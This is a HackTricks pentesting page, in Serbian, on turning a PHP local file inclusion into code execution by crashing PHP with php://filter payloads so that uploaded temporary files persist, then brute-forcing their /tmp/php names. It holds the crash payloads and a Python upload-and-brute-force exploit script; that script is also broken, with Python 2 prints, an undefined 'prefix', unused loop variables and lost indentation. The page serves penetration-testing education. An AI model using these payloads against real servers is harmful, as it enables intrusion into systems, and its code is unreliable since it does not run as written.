hacktricks/pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault.md

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# LFI2RCE putem prekida segmentacije
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Prema writeup-ovima [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/) (drugi deo) i [https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view](https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view), sledeći payload-i su izazvali prekid segmentacije u PHP-u:
```php
// PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd");
// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");
```
Treba da znate da ako **pošaljete** **POST** zahtev **koji sadrži** **fajl**, PHP će kreirati **privremeni fajl u `/tmp/php<nešto>`** sa sadržajem tog fajla. Ovaj fajl će biti **automatski obrisan** nakon što je zahtev obrađen.
Ako pronađete **LFI** i uspete da **izazovete** grešku segmentacije u PHP-u, **privremeni fajl neće biti obrisan**. Zbog toga možete da ga **tražite** sa **LFI** ranjivošću dok ga ne pronađete i izvršite proizvoljni kod.
Možete koristiti docker sliku [https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0) za testiranje.
```python
# upload file with segmentation fault
import requests
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
files = {'file': open('la.php','rb')}
response = requests.post(url, files=files)
# Search for the file (improve this with threads)
import requests
import string
import threading
charset = string.ascii_letters + string.digits
host = "127.0.0.1"
port = 80
base_url = "http://%s:%d" % (host, port)
def bruteforce(charset):
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True
def main():
bruteforce(charset)
if __name__ == "__main__":
main()
```
{% hint style="success" %}
Učite i vežbajte AWS hakovanje: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP hakovanje: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}